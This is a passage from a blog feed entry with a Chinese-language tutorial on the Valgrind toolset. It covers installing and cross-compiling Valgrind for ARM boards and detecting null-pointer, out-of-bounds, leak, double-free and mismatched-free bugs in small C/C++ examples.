        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/linux应用调试-三-工具之valgrind/"/>
        <id>https://vercel.juzhong.asia/obsidian/linux应用调试-三-工具之valgrind/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/linux应用调试-三-工具之valgrind/">&lt;h1 id=&quot;linuxying-yong-diao-shi-san-gong-ju-zhi-valgrind&quot;&gt;Linux应用调试（三）工具之Valgrind&lt;&#x2F;h1&gt;
&lt;p&gt;援引&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;carloscn&#x2F;4037f1ffd881e8eac29e8511e6ca1431&quot;&gt;Linux应用调试（一）方法、技巧和工具 - 综述.md&lt;&#x2F;a&gt; ：&lt;em&gt;软件工具-&amp;gt;Linux User-&amp;gt;动态 -&amp;gt;valgrind&lt;&#x2F;em&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;C&#x2F;C++相比其他高级编程语言，具有指针的概念，指针即是内存地址。C&#x2F;C++可以通过指针来直接访问内存空间，效率上的提升是不言而喻的，是其他高级编程语言不可比拟的；比如访问内存一段数据，通过指针可以直接从内存空间读取数据，避免了中间过程函数压栈、数据拷贝甚至消息传输等待。指针是C&#x2F;C++的优势，但也是一个隐患，指针是一把双刃剑，由于内存交给了程序员管理，这是存在隐患的；人总会有疏忽的时候，如果申请了内存，一个疏忽&lt;strong&gt;忘记释放&lt;&#x2F;strong&gt;了，未释放的内存将不能被系统再申请使用，即是一直占用又不能使用，俗称内存泄露；久而久之，系统长时间运行后将申请不到内存，系统上所有任务执行失败，只能重启系统。内存交给了程序员管理，除了内存泄露的情况外，还可能引起其他的问题，总结起来包括如下几点：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;访问没有申请内存的空指针（空指针）&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;访问已释放内存的指针（野指针）&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;内存越界访问&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;内存泄露，申请了内存没有释放&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;重复释放内存&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;虽然动态内存（这里默认指的是堆上的动态内存，由程序员管理；栈上的动态内存由系统管理）存在一定的隐患，可靠性取决于程序员的认真和细心，但因为其具有优良的灵活性和高效率以及内存复用，在实际应用中，对于一些动态数据交互场合，动态内存往往是首选。因此，一方面除了程序员本身的谨慎使用，另一方面也涌现出各类“内存异常“的检测工具，毕竟当代码量数以万计时，依靠人力去检查是不切实际的。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;1-valgrindjian-jie&quot;&gt;1 Valgrind简介&lt;&#x2F;h2&gt;
&lt;p&gt;Valgrind是一款基于linux平台开源的&lt;strong&gt;内存检测工具集合&lt;&#x2F;strong&gt;，功能强大，使用广泛。利用Valgrind工具，在检测出文章开头提及的动态内存隐患，即是Valgrind工具中的内存检测组件Memcheck， Memcheck支持的功能包括：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;使用空指针&lt;&#x2F;li&gt;
&lt;li&gt;使用野指针&lt;&#x2F;li&gt;
&lt;li&gt;内存空间访问越界&lt;&#x2F;li&gt;
&lt;li&gt;内存空间未释放&lt;&#x2F;li&gt;
&lt;li&gt;内存空间重复释放&lt;&#x2F;li&gt;
&lt;li&gt;内存空间申请和释放不匹配&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;目前Valgrind支持很多平台^&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;carloscn&#x2F;3a51ee3e014578ecaae5c6ff99ce250a#user-content-fn-1-56f76c508b28d018e6fb6e5305ad2433&quot;&gt;1&lt;&#x2F;a&gt;^：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;x86&#x2F;Linux:&lt;&#x2F;strong&gt;  up to and including SSSE3, but not higher -- no SSE4, AVX, AVX2. This target is in maintenance mode now..&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;AMD64&#x2F;Linux:&lt;&#x2F;strong&gt;  up to and including AVX2. This is the primary development target and tends to be well supported.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;PPC32&#x2F;Linux, PPC64&#x2F;Linux, PPC64LE&#x2F;Linux:&lt;&#x2F;strong&gt;  up to and including Power8.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;S390X&#x2F;Linux:&lt;&#x2F;strong&gt;  supported.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;ARM&#x2F;Linux:&lt;&#x2F;strong&gt;  supported since ARMv7.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;ARM64&#x2F;Linux:&lt;&#x2F;strong&gt;  supported for ARMv8.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;MIPS32&#x2F;Linux, MIPS64&#x2F;Linux:&lt;&#x2F;strong&gt;  supported.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;X86&#x2F;FreeBSD, AMD64&#x2F;FreeBSD&lt;&#x2F;strong&gt;: supported since FreeBSD 11.3.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;X86&#x2F;Solaris, AMD64&#x2F;Solaris, X86&#x2F;illumos, AMD64&#x2F;illumos&lt;&#x2F;strong&gt;: supported since Solaris 11.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;X86&#x2F;Darwin (10.5 to 10.13), AMD64&#x2F;Darwin (10.5 to 10.13):&lt;&#x2F;strong&gt;  supported.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;ARM&#x2F;Android, ARM64&#x2F;Android, MIPS32&#x2F;Android, X86&#x2F;Android:&lt;&#x2F;strong&gt;  supported.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;编译到ARM平台可以参考^&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;carloscn&#x2F;3a51ee3e014578ecaae5c6ff99ce250a#user-content-fn-2-56f76c508b28d018e6fb6e5305ad2433&quot;&gt;2&lt;&#x2F;a&gt;^。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;1-1-valgrindyan-shen-gong-ju&quot;&gt;1.1 Valgrind延伸工具&lt;&#x2F;h2&gt;
&lt;p&gt;Valgrind功能强大，是一个工具集合，除了Memcheck工具外，还提供Cachegrind、Helgrind、Callgrind、Massif工具。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;memcheck&quot;&gt;Memcheck&lt;&#x2F;h4&gt;
&lt;p&gt;Memcheck 是一个内存错误检测器。它可以检测C和C++程序中常见的下列问题：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;访问不应该访问的内存，例如溢出堆外、溢出堆栈顶部以及在释放内存后访问内存。&lt;&#x2F;li&gt;
&lt;li&gt;使用未定义值，即未初始化的值，或从其他未定义值派生的值。&lt;&#x2F;li&gt;
&lt;li&gt;堆内存释放不正确，例如堆块的双重释放，或者 malloc&#x2F;new&#x2F;new[]与free&#x2F;delete&#x2F;delete[] 的使用不匹配。&lt;&#x2F;li&gt;
&lt;li&gt;memcpy 和相关函数中的 src 和 dst 指针区域存在重叠。&lt;&#x2F;li&gt;
&lt;li&gt;向内存分配函数的 size 参数传递一个可疑值（可能是负值）。&lt;&#x2F;li&gt;
&lt;li&gt;内存泄漏。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;使用形式为：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;.&#x2F;valgrind --tool=memcheck --leak-check=full [memcheck options] your-program [program options]&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;cachegrind&quot;&gt;Cachegrind&lt;&#x2F;h4&gt;
&lt;p&gt;与gprof类似的分析工具，但它对程序的运行观察更是入微，能给我们提供更多的信息。和gprof不同，它不需要在编译源代码时附加特殊选项，但加上调试选项是推荐的。Callgrind收集程序运行时的一些数据，建立函数调用关系图，还可以有选择地进行cache模拟。在运行结束时，它会把分析数据写入一个文件。callgrind_annotate可以把这个文件的内容转化成可读的形式。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;.&#x2F;valgrind --tool=cachegrind [cachegrind options] your-program [program options]&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;cachegrind-1&quot;&gt;Cachegrind&lt;&#x2F;h4&gt;
&lt;p&gt;Cachegrind 模拟程序如何与计算机的缓存层次结构和（可选）分支预测器交互。它模拟具有独立的一级指令和数据缓存（I1和D1）的机器，后面接着是统一的二级缓存（L2）。这完全符合许多现代机器的配置。然而，一些现代机器有三到四级缓存。对于这些机器（在 Cachegrind 可以自动检测缓存配置的情况下），Cachegrind 模拟第一级和最后一级缓存。这种选择的原因是，最后一级缓存对运行时的影响最大，因为它屏蔽了对主内存的访问。此外，一级缓存通常具有低关联性，因此模拟它们可以检测到代码与该缓存交互不良的情况（例如，按行长为2的幂次遍历矩阵列）。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;.&#x2F;valgrind --tool=cachegrind [cachegrind options] your-program [program options]&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;helgrind&quot;&gt;Helgrind&lt;&#x2F;h4&gt;
&lt;p&gt;POSIX pthreads 中的主要抽象是：一组共享公共地址空间的线程、线程创建、线程 join、线程退出、互斥（锁）、条件变量（线程间事件通知）、读写锁、自旋锁、信号量和屏障。&lt;&#x2F;p&gt;
&lt;p&gt;Helgrind 可以如下检测三类错误：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;POSIX pthreads API 的错误使用。&lt;&#x2F;li&gt;
&lt;li&gt;由锁顺序问题引起的潜在死锁。&lt;&#x2F;li&gt;
&lt;li&gt;存在数据竞争，即在没有足够的锁定或同步的情况下访问内存。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;code&gt;.&#x2F;valgrind --tool=helgrind [helgrind options] your-program [program options]&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;callgrind&quot;&gt;Callgrind&lt;&#x2F;h4&gt;
&lt;p&gt;Callgrind 是一个分析工具，它将程序运行中函数之间的调用历史记录记录为调用图。默认情况下，收集的数据由执行的指令数量、指令与源行的关系、函数之间的调用方&#x2F;被调用方关系以及调用次数组成。或者，缓存模拟或分支预测（类似于 Cachegrind）可以生成有关应用程序运行时行为的进一步信息。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;.&#x2F;valgrind --tool=callgrind [callgrind options] your-program [program options]&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;会生成一个文件：&lt;code&gt;callgrind.out.&amp;lt;pid&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;该文件可以拿到服务器上用 &lt;strong&gt;callgrind_annotate&lt;&#x2F;strong&gt;（其位置就是在 valgrind&#x2F;output&#x2F;bin 下） 去解析：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;shell&quot; class=&quot;language-shell &quot;&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;.&amp;#x2F;callgrind_annotate [options] callgrind.out.&amp;lt;pid&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;massif&quot;&gt;Massif&lt;&#x2F;h4&gt;
&lt;p&gt;Massif 是一个堆分析器。它测量程序使用的堆内存量。这既包括有用的空间，也包括对齐目的分配的额外字节。它还可以测量程序堆栈的大小，尽管默认情况下它不会这样做。堆分析可以帮助您减少程序使用的内存量。在具有虚拟内存的现代计算机上，这提供了以下好处：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;它可以加快程序的速度——更小的程序可以更好地与机器的缓存交互，避免分页。&lt;&#x2F;li&gt;
&lt;li&gt;如果程序使用大量内存，这将减少耗尽机器交换空间的机会。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;此外，有些空间泄漏是传统的泄漏检查程序（如 Memcheck）无法检测到的，这是因为内存从来没有真正丢失过，因为仍有指针指向它，但它没有使用。存在该种泄漏的程序可能会不必要地增加它们在一段时间内使用的内存量。Massif 可以帮助识别这些泄漏。重要的是，Massif 不仅告诉你程序使用了多少堆内存，还提供了非常详细的信息，指示程序的哪些部分负责分配堆内存。&lt;&#x2F;p&gt;
&lt;p&gt;使用形式为：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;shell&quot; class=&quot;language-shell &quot;&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;.&amp;#x2F;valgrind --tool=massif [massif options] your-program [program options]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;会生成一个文件：&lt;code&gt;massif.out.&amp;lt;pid&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;该文件可以拿到服务器上用 &lt;strong&gt;ms_print&lt;&#x2F;strong&gt;（其位置就是在 valgrind&#x2F;output&#x2F;bin 下） 去解析：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;shell&quot; class=&quot;language-shell &quot;&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;.&amp;#x2F;ms_print [options] massif.out.&amp;lt;pid&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;1-2-valgrindshi-yong&quot;&gt;1.2 Valgrind使用&lt;&#x2F;h2&gt;
&lt;p&gt;Valgrind内存检测的原理是，Valgrind实现一个程序运行的虚拟环境，待检测的应用程序在Valgrind的虚拟环境中运行，Valgrind能够实时监测程序中内存申请、使用、释放的情况，并记录一些正常运行的有效信息和可能存在内存异常的信息，输出到终端或者用户指定的文件中。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-2-1-valgrindan-zhuang&quot;&gt;1.2.1 Valgrind安装&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;ubuntu&quot;&gt;ubuntu&lt;&#x2F;h4&gt;
&lt;p&gt;Valgrind工具实用且使用广泛，大多数主流linux系统发行版都已集成Valgrind工具，在终端输入&lt;code&gt;“valgrind”&lt;&#x2F;code&gt;，如系统没有安装Valgrind工具会提示以下安装信息。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;sudo apt install valgrind&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;安装完成，输入&lt;code&gt;“valgrind”&lt;&#x2F;code&gt;命令，提示以下信息，表示安装成功。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;valgrind-debugging&#x2F;valgrind-install-check.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;arm-embedded-linux-3&quot;&gt;ARM embedded Linux^&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;carloscn&#x2F;3a51ee3e014578ecaae5c6ff99ce250a#user-content-fn-3-56f76c508b28d018e6fb6e5305ad2433&quot;&gt;3&lt;&#x2F;a&gt;^&lt;&#x2F;h4&gt;
&lt;h5 id=&quot;xia-zai-code&quot;&gt;下载Code&lt;&#x2F;h5&gt;
&lt;p&gt;下载地址：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;valgrind.org&#x2F;downloads&#x2F;&quot;&gt;https:&#x2F;&#x2F;valgrind.org&#x2F;downloads&#x2F;&lt;&#x2F;a&gt; ，我这里下载的是&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;sourceware.org&#x2F;pub&#x2F;valgrind&#x2F;valgrind-3.19.0.tar.bz2&quot;&gt;valgrind 3.19.0 (tar.bz2)&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;解压：&lt;code&gt;tar -xvf valgrind-3.19.0.tar.bz2&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;或者直接从GITHUB上拉：&lt;code&gt;git clone https:&#x2F;&#x2F;sourceware.org&#x2F;git&#x2F;valgrind.git --depth=1&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h5 id=&quot;xiu-gai-code&quot;&gt;修改code&lt;&#x2F;h5&gt;
&lt;ol&gt;
&lt;li&gt;运行&lt;code&gt;.&#x2F;autogen.sh&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;修改 configure，将 &lt;strong&gt;armv7&lt;&#x2F;strong&gt;* 改成 &lt;strong&gt;arm&lt;&#x2F;strong&gt;* 如下：&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;valgrind-debugging&#x2F;valgrind-cross-compile-configure.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;.&#x2F;configure CC=arm-linux-gnueabihf-gcc CPP=arm-linux-gnueabihf-cpp CXX=arm-linux-gnueabihf-g++ --prefix=&#x2F;opt&#x2F;valgrind --host=arm-linux-gnueabihf&lt;&#x2F;code&gt; ，注意： &lt;em&gt;&lt;strong&gt;--prefix=&#x2F;opt&#x2F;Valgrind指定的目录要与开发板上放置的目录一致，不然运行valgrind时可能会出现“valgrind: failed to start tool &#x27;memcheck&#x27; for platform &#x27;arm-linux&#x27;: No such file or directory”错误&lt;&#x2F;strong&gt;&lt;&#x2F;em&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;make -j8&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;sudo make install&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h5 id=&quot;yi-zhi&quot;&gt;移植&lt;&#x2F;h5&gt;
&lt;ol&gt;
&lt;li&gt;将生成的文件拷贝到共享目录的相应位置，板子上布局如下：&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;valgrind-debugging&#x2F;valgrind-board-dir-layout.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;code&gt;scp -r &#x2F;opt&#x2F;valgrind root@192.168.31.210:&#x2F;opt&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;在device端执行：&lt;code&gt;export VALGRIND_LIB=&#x2F;opt&#x2F;valgrind&#x2F;libexec&#x2F;valgrind&lt;&#x2F;code&gt;，不配置VALGRIND_LIB路径，还会报&lt;em&gt;valgrind: failed to start tool &#x27;memcheck&#x27; for platform &#x27;arm-linux&#x27;: No such file or directory&lt;&#x2F;em&gt;的错误，也可以放在.bashrc里面。注意2，&lt;em&gt;是libexec的路径，而不是lib路径&lt;&#x2F;em&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;接着就可以运行了：&lt;code&gt;.&#x2F;valgrind --tool=memcheck --leak-check=yes .&#x2F;test.elf &lt;&#x2F;code&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;valgrind-debugging&#x2F;valgrind-fatal-error-startup.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;li&gt;
&lt;li&gt;上面显示fatal error at startup。Valgrind 需要链接 not stripped 过的 &lt;code&gt;ld*.so&#x2F;libc*.so&#x2F;libdl*.so&lt;&#x2F;code&gt;，这些可以从相应toolchain release package里面找，&lt;code&gt;&#x2F;opt&#x2F;cross-compile&#x2F;gcc-linaro-4.9.4-2017.01-x86_64_arm-linux-gnueabihf&#x2F;arm-linux-gnueabihf&#x2F;libc&#x2F;lib&lt;&#x2F;code&gt; 找如下几个：&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;valgrind-debugging&#x2F;valgrind-arm-lib-files.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;code&gt;scp -r ld-* libc* libdl* root@192.168.31.210:&#x2F;opt&#x2F;valgrind&#x2F;lib&#x2F;valgrind&lt;&#x2F;code&gt;配置LD_LIBRARY  &lt;code&gt;export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:&#x2F;opt&#x2F;valgrind&#x2F;lib&#x2F;valgrind&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;可以通过设置 LD_LIBRARY_PATH 去指定 libc*.so&#x2F;libdl*.so 的位置，但是对于动态装载库 &lt;code&gt;ld*.so&lt;&#x2F;code&gt; 则无效。&lt;strong&gt;动态装载库的位置既不是由系统配置指定，也不是由环境参数决定，而是由 ELF 可执行文件决定&lt;&#x2F;strong&gt;。在动态链接的 ELF 可执行文件中，有一个专门的 section 叫 &lt;strong&gt;.interp&lt;&#x2F;strong&gt;，该 section 可通过&lt;strong&gt;readelf&lt;&#x2F;strong&gt; 查看：&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;valgrind-debugging&#x2F;readelf-interp-section.png&quot; alt=&quot;&quot; &#x2F;&gt;通过&lt;strong&gt;patchelf&lt;&#x2F;strong&gt; 直接改写 ELF 可执行文件中的 .interp section：&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;valgrind-debugging&#x2F;patchelf-rewrite-elf-interp.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;1-2-2-shi-yong-shuo-ming&quot;&gt;1.2.2 使用说明&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;待检测的程序编译时需加入&lt;code&gt;&quot;-g&quot;&lt;&#x2F;code&gt;，保留调试信息&lt;&#x2F;li&gt;
&lt;li&gt;检测命令格式：&lt;code&gt;valgrind --tool=memcheck --leak-check=full .&#x2F;file&lt;&#x2F;code&gt;，&lt;code&gt;–leak-check=full&lt;&#x2F;code&gt;表示检测所有内存泄露&lt;&#x2F;li&gt;
&lt;li&gt;检测记录除了输出到终端，还可以输出到文件，这样可以监测程序长时间运行后出现异常，通过查阅文件记录分析问题&lt;&#x2F;li&gt;
&lt;li&gt;更多的使用说明或者忘记命令时，可以执行&lt;code&gt;valgrind -h&lt;&#x2F;code&gt;查看帮助信息&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;2-shi-li&quot;&gt;2. 示例&lt;&#x2F;h2&gt;
&lt;h2 id=&quot;2-1-jian-ce-cheng-xu-shi-yong-kong-zhi-zhen&quot;&gt;2.1 检测程序使用空指针&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;#include &amp;lt;stdio.h&amp;gt;
&amp;#x2F;&amp;#x2F; valgrind --tool=memcheck --leak-check=full .&amp;#x2F;test_null_pointer.elf
int main(int argc, char * argv [ ])
{
	int *p = NULL;

    printf(&amp;quot;address [0x%p]\r\n&amp;quot;, p);
	*p = 0;

    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;编译：&lt;code&gt;gcc -g test_null_pointer.c -o test_null_pointer.elf&lt;&#x2F;code&gt;运行检测:&lt;code&gt;valgrind --tool=memcheck --leak-check=full .&#x2F;test_null_pointer.elf&lt;&#x2F;code&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;valgrind-debugging&#x2F;valgrind-null-pointer-check.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;2-2-jian-ce-nei-cun-yue-jie&quot;&gt;2.2 检测内存越界&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;

int main(int argc, char * argv [ ])
{
	int *p = NULL;

	p = malloc(4);
	if (p == NULL)
	{
		perror(&amp;quot;malloc failed&amp;quot;);
	}
    printf(&amp;quot;address [0x%p]\r\n&amp;quot;, p);
	p[4] = 0;
	free(p);

    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;编译：&lt;code&gt;gcc -g test_over_array.c -o test_over_array.elf&lt;&#x2F;code&gt;运行检测:&lt;code&gt;valgrind --tool=memcheck --leak-check=full .&#x2F;test_over_array.elf&lt;&#x2F;code&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;valgrind-debugging&#x2F;valgrind-memcheck-invalid-write.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;2-3-jian-ce-cheng-xu-nei-cun-kong-jian-wei-shi-fang&quot;&gt;2.3 检测程序内存空间未释放&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;

int main(int argc, char * argv [ ])
{
	int *p = NULL;

	p = malloc(4);
	if (p == NULL)
	{
		perror(&amp;quot;malloc failed&amp;quot;);
	}
    printf(&amp;quot;address [0x%p]\r\n&amp;quot;, p);

    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;编译：&lt;code&gt;gcc -g test_mem_leak.c -o test_mem_leak.elf&lt;&#x2F;code&gt;运行检测:&lt;code&gt;valgrind --tool=memcheck --leak-check=full .&#x2F;test_mem_leak.elf&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;valgrind-debugging&#x2F;valgrind-memcheck-leak-report.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;2-4-double-free&quot;&gt;2.4 double-free&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;

int main(int argc, char * argv [ ])
{
	int *p = NULL;

	p = malloc(4);
	if (p == NULL)
	{
		perror(&amp;quot;malloc failed&amp;quot;);
	}
    printf(&amp;quot;address [0x%p]\r\n&amp;quot;, p);
	free(p);
	free(p);

    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;编译：&lt;code&gt;gcc -g test_double_free.c -o test_double_free.elf&lt;&#x2F;code&gt;运行检测:&lt;code&gt;valgrind --tool=memcheck --leak-check=full .&#x2F;test_double_free.elf&lt;&#x2F;code&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;valgrind-debugging&#x2F;valgrind-double-free-report.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;2-5-shi-fang-dui-xiang-cuo-wu&quot;&gt;2.5 释放对象错误&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;c++&quot; class=&quot;language-c++ &quot;&gt;&lt;code class=&quot;language-c++&quot; data-lang=&quot;c++&quot;&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;iostream&amp;gt;

int main(int argc, char * argv [ ])
{
	int *p = NULL;

	p = (int*)malloc(sizeof(int));
	if (p == NULL)
	{
		perror(&amp;quot;malloc failed&amp;quot;);
	}
    printf(&amp;quot;address [0x%p]\r\n&amp;quot;, p);
	delete p;

    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;编译：&lt;code&gt;g++ -g test_wrong_free_obj.cpp -o test_wrong_free_obj.elf&lt;&#x2F;code&gt;运行检测：&lt;code&gt;valgrind --tool=memcheck --leak-check=full .&#x2F;test_wrong_free_obj.elf&lt;&#x2F;code&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;valgrind-debugging&#x2F;valgrind-memcheck-wrong-free.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;3-xiao-jie&quot;&gt;3. 小结&lt;&#x2F;h2&gt;
&lt;p&gt;内存泄露检测包括动态内存使用的规范性，根本的解决办法是程序员保持良好的编码习惯，使用动态内存时谨慎考虑，保证申请与释放的必然性。因为，一些隐晦的问题可能需要在特定条件下才会引起内存泄露，依赖于检测工具也是需要长时间运行软件才能发现。&lt;&#x2F;p&gt;
&lt;p&gt;Valgrind—memcheck工具更多是用于检测内存泄露，空指针、野指针、内存越界、重复释放等问题，会引系统段错误（Valgrind），使用GDB结合系统产生的core dump文件，也能快速定位到调用位置。而内存泄露不会立即导致系统异常，只有运行一定时间后系统申请不到内存时才会引起异常。因此，借助Valgrind—memcheck工具来检测内存泄露是一个高效的方法之一。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>valgrind使用方法</title>
        <published>2024-12-08T00:00:00+00:00</published>
        <updated>2024-12-08T00:00:00+00:00</updated>
        
